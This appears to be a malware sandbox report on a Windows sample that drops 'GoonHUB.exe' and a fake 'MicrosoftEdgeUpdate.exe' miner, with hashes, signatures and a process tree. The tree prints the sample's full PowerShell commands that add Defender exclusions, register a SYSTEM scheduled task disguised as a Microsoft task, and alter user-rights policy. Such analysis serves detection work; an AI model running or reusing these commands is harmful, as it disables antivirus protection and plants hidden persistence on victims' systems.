54316f2e666218a3e365afaa46c69550b9913dadd78b3614a880b9b2b1e59de0

Analysis

max time kernel
150s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
16/07/2026, 22:30

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-07-16_11929ddd4f4705bf365cfe65a75782b4_cobalt-strike_coinminer_icedid_mespinoza_njrat_ryuk_satacom_stealc.exe
Size 9.6MB
Sample260716-2etchaft3j
SHA256 54316f2e666218a3e365afaa46c69550b9913dadd78b3614a880b9b2b1e59de0
MD5 11929ddd4f4705bf365cfe65a75782b4
SHA1 2ff0aa186737aae5d539b987a96087f7e7cd371d
SHA512 53b01bb9ae1c05240168f8b19555ded54eb31b5f0946cd4a320bcea2b6975d87ae2cc47c28a6586a172c3aa0c326116adf6b25641d315a1eac1a3db5445b3161
SSDEEP 49152:01lONSgtBa7HeHc2eoF4lbmENAsEsLeZrWnJCpwW952qyCO1IkeSAUPOy9x4X440:Ny7HSPD25mENAsEY9Qb2FCqgHzbI
TLSH
T12EA6BDA5A24C4E6AE566B038C1974693DBF07F4B2760DEC776CC7C570BAF0D03A24629
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

execution persistence

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 12 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4784	powershell.exe
3712	powershell.exe
4316	powershell.exe
2424	powershell.exe
4068	powershell.exe
4368	powershell.exe
5024	powershell.exe
1832	powershell.exe
4368	powershell.exe
4316	powershell.exe
2424	powershell.exe
4068	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\Control Panel\International\Geo\Nation	GoonHUB.exe

Executes dropped EXE 6 IoCs

pid	Process
4716	GoonHUB.exe
5108	gooner_setup_x64.exe
4000	MicrosoftEdgeUpdate.exe
2476	MicrosoftEdgeUpdate.exe
4776	MicrosoftEdgeUpdate.exe
3008	MicrosoftEdgeUpdate.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000_Classes\Applications	GoonHUB.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000_Classes\Applications\GoonHUB.exe\FriendlyAppName = "GoonHUB"	GoonHUB.exe
Key created	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000_Classes\Applications\GoonHUB.exe	GoonHUB.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4316	powershell.exe
4316	powershell.exe
2424	powershell.exe
2424	powershell.exe
4068	powershell.exe
4068	powershell.exe
4368	powershell.exe
4368	powershell.exe
4560	2026-07-16_11929ddd4f4705bf365cfe65a75782b4_cobalt-strike_coinminer_icedid_mespinoza_njrat_ryuk_satacom_stealc.exe
4560	2026-07-16_11929ddd4f4705bf365cfe65a75782b4_cobalt-strike_coinminer_icedid_mespinoza_njrat_ryuk_satacom_stealc.exe
5108	gooner_setup_x64.exe
5108	gooner_setup_x64.exe
5024	powershell.exe
5024	powershell.exe
1832	powershell.exe
1832	powershell.exe
4000	MicrosoftEdgeUpdate.exe
4000	MicrosoftEdgeUpdate.exe
4784	powershell.exe
3712	powershell.exe
4776	MicrosoftEdgeUpdate.exe
4776	MicrosoftEdgeUpdate.exe
3712	powershell.exe
4784	powershell.exe
4776	MicrosoftEdgeUpdate.exe
4776	MicrosoftEdgeUpdate.exe
4000	MicrosoftEdgeUpdate.exe
4000	MicrosoftEdgeUpdate.exe
4776	MicrosoftEdgeUpdate.exe
4776	MicrosoftEdgeUpdate.exe
4776	MicrosoftEdgeUpdate.exe
4776	MicrosoftEdgeUpdate.exe
4000	MicrosoftEdgeUpdate.exe
4000	MicrosoftEdgeUpdate.exe
4776	MicrosoftEdgeUpdate.exe
4776	MicrosoftEdgeUpdate.exe
4776	MicrosoftEdgeUpdate.exe
4776	MicrosoftEdgeUpdate.exe
4000	MicrosoftEdgeUpdate.exe
4000	MicrosoftEdgeUpdate.exe
4776	MicrosoftEdgeUpdate.exe
4776	MicrosoftEdgeUpdate.exe
4776	MicrosoftEdgeUpdate.exe
4776	MicrosoftEdgeUpdate.exe
4000	MicrosoftEdgeUpdate.exe
4000	MicrosoftEdgeUpdate.exe
4776	MicrosoftEdgeUpdate.exe
4776	MicrosoftEdgeUpdate.exe
4776	MicrosoftEdgeUpdate.exe
4776	MicrosoftEdgeUpdate.exe
4000	MicrosoftEdgeUpdate.exe
4000	MicrosoftEdgeUpdate.exe
4776	MicrosoftEdgeUpdate.exe
4776	MicrosoftEdgeUpdate.exe
4776	MicrosoftEdgeUpdate.exe
4776	MicrosoftEdgeUpdate.exe
4000	MicrosoftEdgeUpdate.exe
4000	MicrosoftEdgeUpdate.exe
4776	MicrosoftEdgeUpdate.exe
4776	MicrosoftEdgeUpdate.exe
4000	MicrosoftEdgeUpdate.exe
4000	MicrosoftEdgeUpdate.exe
4776	MicrosoftEdgeUpdate.exe
4776	MicrosoftEdgeUpdate.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
4000	MicrosoftEdgeUpdate.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4316	powershell.exe
Token: SeDebugPrivilege	2424	powershell.exe
Token: SeDebugPrivilege	4068	powershell.exe
Token: SeDebugPrivilege	4368	powershell.exe
Token: SeDebugPrivilege	5024	powershell.exe
Token: SeDebugPrivilege	1832	powershell.exe
Token: SeIncreaseQuotaPrivilege	5024	powershell.exe
Token: SeSecurityPrivilege	5024	powershell.exe
Token: SeTakeOwnershipPrivilege	5024	powershell.exe
Token: SeLoadDriverPrivilege	5024	powershell.exe
Token: SeSystemProfilePrivilege	5024	powershell.exe
Token: SeSystemtimePrivilege	5024	powershell.exe
Token: SeProfSingleProcessPrivilege	5024	powershell.exe
Token: SeIncBasePriorityPrivilege	5024	powershell.exe
Token: SeCreatePagefilePrivilege	5024	powershell.exe
Token: SeBackupPrivilege	5024	powershell.exe
Token: SeRestorePrivilege	5024	powershell.exe
Token: SeShutdownPrivilege	5024	powershell.exe
Token: SeDebugPrivilege	5024	powershell.exe
Token: SeSystemEnvironmentPrivilege	5024	powershell.exe
Token: SeRemoteShutdownPrivilege	5024	powershell.exe
Token: SeUndockPrivilege	5024	powershell.exe
Token: SeManageVolumePrivilege	5024	powershell.exe
Token: 33	5024	powershell.exe
Token: 34	5024	powershell.exe
Token: 35	5024	powershell.exe
Token: 36	5024	powershell.exe
Token: SeIncreaseQuotaPrivilege	1832	powershell.exe
Token: SeSecurityPrivilege	1832	powershell.exe
Token: SeTakeOwnershipPrivilege	1832	powershell.exe
Token: SeLoadDriverPrivilege	1832	powershell.exe
Token: SeSystemProfilePrivilege	1832	powershell.exe
Token: SeSystemtimePrivilege	1832	powershell.exe
Token: SeProfSingleProcessPrivilege	1832	powershell.exe
Token: SeIncBasePriorityPrivilege	1832	powershell.exe
Token: SeCreatePagefilePrivilege	1832	powershell.exe
Token: SeBackupPrivilege	1832	powershell.exe
Token: SeRestorePrivilege	1832	powershell.exe
Token: SeShutdownPrivilege	1832	powershell.exe
Token: SeDebugPrivilege	1832	powershell.exe
Token: SeSystemEnvironmentPrivilege	1832	powershell.exe
Token: SeRemoteShutdownPrivilege	1832	powershell.exe
Token: SeUndockPrivilege	1832	powershell.exe
Token: SeManageVolumePrivilege	1832	powershell.exe
Token: 33	1832	powershell.exe
Token: 34	1832	powershell.exe
Token: 35	1832	powershell.exe
Token: 36	1832	powershell.exe
Token: SeIncreaseQuotaPrivilege	1832	powershell.exe
Token: SeSecurityPrivilege	1832	powershell.exe
Token: SeTakeOwnershipPrivilege	1832	powershell.exe
Token: SeLoadDriverPrivilege	1832	powershell.exe
Token: SeSystemProfilePrivilege	1832	powershell.exe
Token: SeSystemtimePrivilege	1832	powershell.exe
Token: SeProfSingleProcessPrivilege	1832	powershell.exe
Token: SeIncBasePriorityPrivilege	1832	powershell.exe
Token: SeCreatePagefilePrivilege	1832	powershell.exe
Token: SeBackupPrivilege	1832	powershell.exe
Token: SeRestorePrivilege	1832	powershell.exe
Token: SeShutdownPrivilege	1832	powershell.exe
Token: SeDebugPrivilege	1832	powershell.exe
Token: SeSystemEnvironmentPrivilege	1832	powershell.exe
Token: SeRemoteShutdownPrivilege	1832	powershell.exe
Token: SeUndockPrivilege	1832	powershell.exe

Suspicious use of WriteProcessMemory 21 IoCs

description	pid	Process	procid_target
PID 4560 wrote to memory of 4716	4560	2026-07-16_11929ddd4f4705bf365cfe65a75782b4_cobalt-strike_coinminer_icedid_mespinoza_njrat_ryuk_satacom_stealc.exe	86
PID 4560 wrote to memory of 4316	4560	2026-07-16_11929ddd4f4705bf365cfe65a75782b4_cobalt-strike_coinminer_icedid_mespinoza_njrat_ryuk_satacom_stealc.exe	88
PID 4716 wrote to memory of 5108	4716	GoonHUB.exe	90
PID 5108 wrote to memory of 2424	5108	gooner_setup_x64.exe	94
PID 4560 wrote to memory of 4068	4560	2026-07-16_11929ddd4f4705bf365cfe65a75782b4_cobalt-strike_coinminer_icedid_mespinoza_njrat_ryuk_satacom_stealc.exe	96
PID 5108 wrote to memory of 4368	5108	gooner_setup_x64.exe	98
PID 4560 wrote to memory of 5104	4560	2026-07-16_11929ddd4f4705bf365cfe65a75782b4_cobalt-strike_coinminer_icedid_mespinoza_njrat_ryuk_satacom_stealc.exe	100
PID 5108 wrote to memory of 516	5108	gooner_setup_x64.exe	102
PID 4560 wrote to memory of 5024	4560	2026-07-16_11929ddd4f4705bf365cfe65a75782b4_cobalt-strike_coinminer_icedid_mespinoza_njrat_ryuk_satacom_stealc.exe	104
PID 5108 wrote to memory of 1832	5108	gooner_setup_x64.exe	106
PID 5108 wrote to memory of 2460	5108	gooner_setup_x64.exe	109
PID 5108 wrote to memory of 4000	5108	gooner_setup_x64.exe	110
PID 5108 wrote to memory of 3712	5108	gooner_setup_x64.exe	111
PID 4560 wrote to memory of 2992	4560	2026-07-16_11929ddd4f4705bf365cfe65a75782b4_cobalt-strike_coinminer_icedid_mespinoza_njrat_ryuk_satacom_stealc.exe	114
PID 4560 wrote to memory of 2476	4560	2026-07-16_11929ddd4f4705bf365cfe65a75782b4_cobalt-strike_coinminer_icedid_mespinoza_njrat_ryuk_satacom_stealc.exe	115
PID 4560 wrote to memory of 4784	4560	2026-07-16_11929ddd4f4705bf365cfe65a75782b4_cobalt-strike_coinminer_icedid_mespinoza_njrat_ryuk_satacom_stealc.exe	116
PID 4784 wrote to memory of 4448	4784	powershell.exe	120
PID 3712 wrote to memory of 4208	3712	powershell.exe	121
PID 4784 wrote to memory of 2360	4784	powershell.exe	122
PID 3712 wrote to memory of 4760	3712	powershell.exe	123
PID 4776 wrote to memory of 3008	4776	MicrosoftEdgeUpdate.exe	125

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\2026-07-16_11929ddd4f4705bf365cfe65a75782b4_cobalt-strike_coinminer_icedid_mespinoza_njrat_ryuk_satacom_stealc.exe
"C:\Users\Admin\AppData\Local\Temp\2026-07-16_11929ddd4f4705bf365cfe65a75782b4_cobalt-strike_coinminer_icedid_mespinoza_njrat_ryuk_satacom_stealc.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4560
- C:\Users\Admin\AppData\Local\Temp\GoonHUB.exe
  "C:\Users\Admin\AppData\Local\Temp\GoonHUB.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:4716
- - C:\Users\Admin\AppData\Local\Temp\gooner_setup_x64.exe
    "C:\Users\Admin\AppData\Local\Temp\gooner_setup_x64.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:5108
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2424
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4368
  - - C:\Windows\SYSTEM32\schtasks.exe
      schtasks /end /tn "\Microsoft\Windows\Customer Experience Improvement Program\MicrosoftEdgeUpdateTaskMachineCore"
      4⤵
      PID:516
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "$Action = New-ScheduledTaskAction -Execute '"C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore\MicrosoftEdgeUpdate.exe"' -Argument '--watcher' -WorkingDirectory '"C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore"'; $Trigger = New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 1) -RepetitionDuration (New-TimeSpan -Days 3650); $Principal = New-ScheduledTaskPrincipal -UserId 'SYSTEM' -LogonType ServiceAccount -RunLevel Highest; $Settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable -MultipleInstances IgnoreNew; $Task = New-ScheduledTask -Action $Action -Trigger $Trigger -Principal $Principal -Settings $Settings; $Task.Author = 'Microsoft Corporation'; Register-ScheduledTask -TaskName '\Microsoft\Windows\Customer Experience Improvement Program\MicrosoftEdgeUpdateTaskMachineCore' -InputObject $Task -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1832
  - - C:\Windows\SYSTEM32\schtasks.exe
      schtasks /run /tn "\Microsoft\Windows\Customer Experience Improvement Program\MicrosoftEdgeUpdateTaskMachineCore"
      4⤵
      PID:2460
  - - C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore\MicrosoftEdgeUpdate.exe
      "C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore\MicrosoftEdgeUpdate.exe" --monitor
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: GetForegroundWindowSpam
      PID:4000
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "$cfg = \"$env:temp\secpol.cfg\"; secedit /export /cfg $cfg /quiet; $c = Get-Content $cfg; $hasPriv = $false; $newC = @(); foreach ($l in $c) { if ($l -match '^SeLockMemoryPrivilege') { $hasPriv = $true; if ($l -notmatch '\*S-1-5-32-544') { $l = $l + ',*S-1-5-32-544' } }; $newC += $l }; if (-not $hasPriv) { for ($i=0; $i -lt $newC.Length; $i++) { if ($newC[$i] -match '^\[Privilege Rights\]') { $newC = $newC[0..$i] + 'SeLockMemoryPrivilege = *S-1-5-32-544' + $newC[($i+1)..($newC.Length-1)]; break } } }; Set-Content -Path $cfg -Value $newC; secedit /configure /db $env:windir\security\database\secedit.sdb /cfg $cfg /areas USER_RIGHTS /quiet"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:3712
    - - C:\Windows\system32\SecEdit.exe
        
        "C:\Windows\system32\SecEdit.exe" /export /cfg C:\Users\Admin\AppData\Local\Temp\secpol.cfg /quiet
        5⤵
        
        PID:4208
    - - C:\Windows\system32\SecEdit.exe
        
        "C:\Windows\system32\SecEdit.exe" /configure /db C:\Windows\security\database\secedit.sdb /cfg C:\Users\Admin\AppData\Local\Temp\secpol.cfg /areas USER_RIGHTS /quiet
        5⤵
        
        PID:4760
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4316
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4068
- C:\Windows\SYSTEM32\schtasks.exe
  schtasks /end /tn "\Microsoft\Windows\Customer Experience Improvement Program\MicrosoftEdgeUpdateTaskMachineCore"
  2⤵
  PID:5104
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -WindowStyle Hidden -Command "$Action = New-ScheduledTaskAction -Execute '"C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore\MicrosoftEdgeUpdate.exe"' -Argument '--watcher' -WorkingDirectory '"C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore"'; $Trigger = New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 1) -RepetitionDuration (New-TimeSpan -Days 3650); $Principal = New-ScheduledTaskPrincipal -UserId 'SYSTEM' -LogonType ServiceAccount -RunLevel Highest; $Settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable -MultipleInstances IgnoreNew; $Task = New-ScheduledTask -Action $Action -Trigger $Trigger -Principal $Principal -Settings $Settings; $Task.Author = 'Microsoft Corporation'; Register-ScheduledTask -TaskName '\Microsoft\Windows\Customer Experience Improvement Program\MicrosoftEdgeUpdateTaskMachineCore' -InputObject $Task -Force"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5024
- C:\Windows\SYSTEM32\schtasks.exe
  schtasks /run /tn "\Microsoft\Windows\Customer Experience Improvement Program\MicrosoftEdgeUpdateTaskMachineCore"
  2⤵
  PID:2992
- C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore\MicrosoftEdgeUpdate.exe
  "C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore\MicrosoftEdgeUpdate.exe" --monitor
  2⤵
  - Executes dropped EXE
  PID:2476
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -WindowStyle Hidden -Command "$cfg = \"$env:temp\secpol.cfg\"; secedit /export /cfg $cfg /quiet; $c = Get-Content $cfg; $hasPriv = $false; $newC = @(); foreach ($l in $c) { if ($l -match '^SeLockMemoryPrivilege') { $hasPriv = $true; if ($l -notmatch '\*S-1-5-32-544') { $l = $l + ',*S-1-5-32-544' } }; $newC += $l }; if (-not $hasPriv) { for ($i=0; $i -lt $newC.Length; $i++) { if ($newC[$i] -match '^\[Privilege Rights\]') { $newC = $newC[0..$i] + 'SeLockMemoryPrivilege = *S-1-5-32-544' + $newC[($i+1)..($newC.Length-1)]; break } } }; Set-Content -Path $cfg -Value $newC; secedit /configure /db $env:windir\security\database\secedit.sdb /cfg $cfg /areas USER_RIGHTS /quiet"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:4784
- - C:\Windows\system32\SecEdit.exe
    "C:\Windows\system32\SecEdit.exe" /export /cfg C:\Users\Admin\AppData\Local\Temp\secpol.cfg /quiet
    3⤵
    PID:4448
- - C:\Windows\system32\SecEdit.exe
    "C:\Windows\system32\SecEdit.exe" /configure /db C:\Windows\security\database\secedit.sdb /cfg C:\Users\Admin\AppData\Local\Temp\secpol.cfg /areas USER_RIGHTS /quiet
    3⤵
    PID:2360

C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore\MicrosoftEdgeUpdate.exe
C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore\MicrosoftEdgeUpdate.exe --watcher
1⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4776
- C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore\MicrosoftEdgeUpdate.exe
  "C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore\MicrosoftEdgeUpdate.exe" --mine
  2⤵
  - Executes dropped EXE
  PID:3008

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

MicrosoftEdgeUpdate.exe

Path C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore\MicrosoftEdgeUpdate.exe
Size 9.6MB
SHA256 54316f2e666218a3e365afaa46c69550b9913dadd78b3614a880b9b2b1e59de0
MD5 11929ddd4f4705bf365cfe65a75782b4
SHA1 2ff0aa186737aae5d539b987a96087f7e7cd371d
SHA512 53b01bb9ae1c05240168f8b19555ded54eb31b5f0946cd4a320bcea2b6975d87ae2cc47c28a6586a172c3aa0c326116adf6b25641d315a1eac1a3db5445b3161
SSDEEP 49152:01lONSgtBa7HeHc2eoF4lbmENAsEsLeZrWnJCpwW952qyCO1IkeSAUPOy9x4X440:Ny7HSPD25mENAsEY9Qb2FCqgHzbI
TLSH
T12EA6BDA5A24C4E6AE566B038C1974693DBF07F4B2760DEC776CC7C570BAF0D03A24629
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
TLSH
T1CE51EE323375B1E888167F071E681A8053BF4355EA94AF1CB698621ED93641B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 4c69f56775952e519cd5287283594665e46f3c13d5eea8f73148bd7e7603a342
MD5 b476e465129031fef81e0bbb1b252989
SHA1 ac98e2eacf25535bed033f5c76c9cb72bfbbffa5
SHA512 52fb62385e5313f7882e11bd17a35462bea552173753c4e9d799ff0c5fdd42b720779b02d0af2841f34ee6a33d89b4f3bc7500684c7f360095d2002eca9e0197
TLSH
T1BE117637B39C8A21CC96163A509D9C2172B683C7819EDF9F7BC0D205A5BF599CB71190
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 7305bcde3ba246a9b5c1666079c61596cc2ed2c651a1cd9e20557dba8a78c0e4
MD5 b7e1db446e63a2aae76cd85440a08856
SHA1 c900cc81335dd3ca6337e21f5bcde80f8e8a88f3
SHA512 dd63e28017eec632868489e469dd2ba54f20a3024be44550b729a0384bd55c5aa78171f7416612cd5174047afc544e21678ca164359962312b1d853c9bff04ea
TLSH
T1A2112263F3CD8920CC96163A509DAC5172B586CB81AEDF9F7FC0D210A1BF984CB61294
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 2b139c74072ccbdaa17b950f32a6dbc934dfb7af9973d97c9b0d9c498012ba68
MD5 d8cb3e9459807e35f02130fad3f9860d
SHA1 5af7f32cb8a30e850892b15e9164030a041f4bd6
SHA512 045239ba31367fbdd59e883f74eafc05724e23bd6e8f0c1e7171ea2496a497eb9e0cfcb57285bb81c4d569daadba43d6ef64c626ca48f1e2a59e8d97f0cc9184
TLSH
T13F112223F38C8920CC961539509DAC5172B686CB81AFDE9F7FC0C210A1BF584CB611D4
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 012504ba181c5100ba3ca4350569b41e16508f886c4726acdf59d16828cd4db8
MD5 3156f3a5129b45977db75679635199e3
SHA1 eb722500143c2d679fdba823a14730f098c4015f
SHA512 63d6f848a267937482f0c6650a7698484a3710ea3d1320505ee2cdc7173069a11455b8bc495f8c08dce4cbfa0fe92dee4c231b6d1ec0f5db90790d1d47ca0970
TLSH
T1AE216527B39C8961DC8A163A109D9C5176A793C7809ECFDF6FC0D611917FA88CB21194
MD5 SHA1 SHA512 TLSH

Submit Download

GoonHUB.exe

Path C:\Users\Admin\AppData\Local\Temp\GoonHUB.exe
Size 8.7MB
SHA256 a8837db4b925c62d9e7abf0d56fb3b5bfcfe457256af7d37d2fcadede4867c06
MD5 86038c1ea6ccb718e887b2289159cda5
SHA1 8fe7b9dbfea0da465011929dd22e509a297514aa
SHA512 f956bde522b1ce292d36fd7de8307a3d92a46bbafb42ca2a4ffebeaa0ffbd4288dfb39b615723da63b114082667913d25dc0ed42bfedaba56448f6c12e6690f2
SSDEEP 49152:hc2eoF4lbmENAsEsLeZrWnJCpwW952qyCO1IkeSAUPOy9x4X44nlKyqAf5l8wAXR:hPD25mENAsEY9Qb2FCqgHzb
TLSH
T1D196CEB5A14C4E2BE466B079C1A34693DBF0BF4A2760CFC6B5CC7C470BAF094792456A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_erlg41oa.i22.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_erlg41oa.i22.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

gooner_setup_x64.exe

Path C:\Users\Admin\AppData\Local\Temp\gooner_setup_x64.exe
Size 576KB
SHA256 f823738d73cb78b055715749a69954d4eedec15b5b7ca8601038a22eadd27a30
MD5 6ce4c49f4073af437063637a3f1d87e8
SHA1 2e2f3e6d9eba394e1c71364febbc8c130e536482
SHA512 a31bd338293d33929a135bb8e4cfb6f2c5d74a14d2a6a3d836aeb18be33f9552fe58062deb5b2b25860a20ea0f82a0673e6812887fcdf0dab80f4a17ba1f9eb4
SSDEEP 12288:4HyiLmfZnsO5ET8QanYYRs1Q0RZLCqntR:wonsgObYRseoC+t
TLSH
T18CC47D25B6E806F8E177C178CA934902E673B85547709ACF03D04AA75F27AE45F3EB21
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sce65642.tmp

Path C:\Users\Admin\AppData\Local\Temp\sce65642.tmp
Size 16KB
SHA256 621c13968a16a9280f14cea9e2577678af7129f6899615defebc08782eb8b756
MD5 12521efd8145d438a53ae40ea56dca29
SHA1 cdf74522965a8d0b8ee74e1f49698fc334251a66
SHA512 23086f47ce9cafcbe035d69a2bb3c86bed17029226e0b2a8ec33823d0515287f52a989cbc6aa6dd8fb7425dd6ddf0cd819c248a18d76de587839fb44404c2206
SSDEEP 96:rp36mOr9+gkz2DGUfSVjhOuScDcWcocGcvcecjcHc/cLcscAcqcsc9TVc7c7c9TG:t9Brz7/hOu3TMTG4XkOnWbn
TLSH
T1D072D20187F90809F7F70F96AE7998698633FDA20D19CE5C01A941CE14B6E50CE31B7B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

secpol.cfg

Path C:\Users\Admin\AppData\Local\Temp\secpol.cfg
Size 8KB
SHA256 31632d1fbcf64766bf9a71c82830424b0a9b4c3fe5235b91f39d04e98330de3e
MD5 d58ecef50836a4273d9dee8d597a2491
SHA1 cc565aeff6c9aec934780ba2814eb220c4762656
SHA512 1cf0b805e4fc825abcd60c0ef716d51d2817bc35f0aecf0cee1d0f87559937c8dd46c2a92ee213d4fd4bc28888690145b8fe3f9ff3ba574cb2074eb7e8121355
SSDEEP 192:4Cx7ygrjxPq5kpMyh0VZ0t00Vxk4IiRJk0Ipt0GQ0VRrb3+mH0h0VG850//0t0Hs:4wR3xPqSh0VZ0q0VDIiRfIpt0GQ0VRrf
TLSH
T19A02C0537D7AC276D0E23BC573666D5001F73286E293915305B8280EA3E256AD3BB2CF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

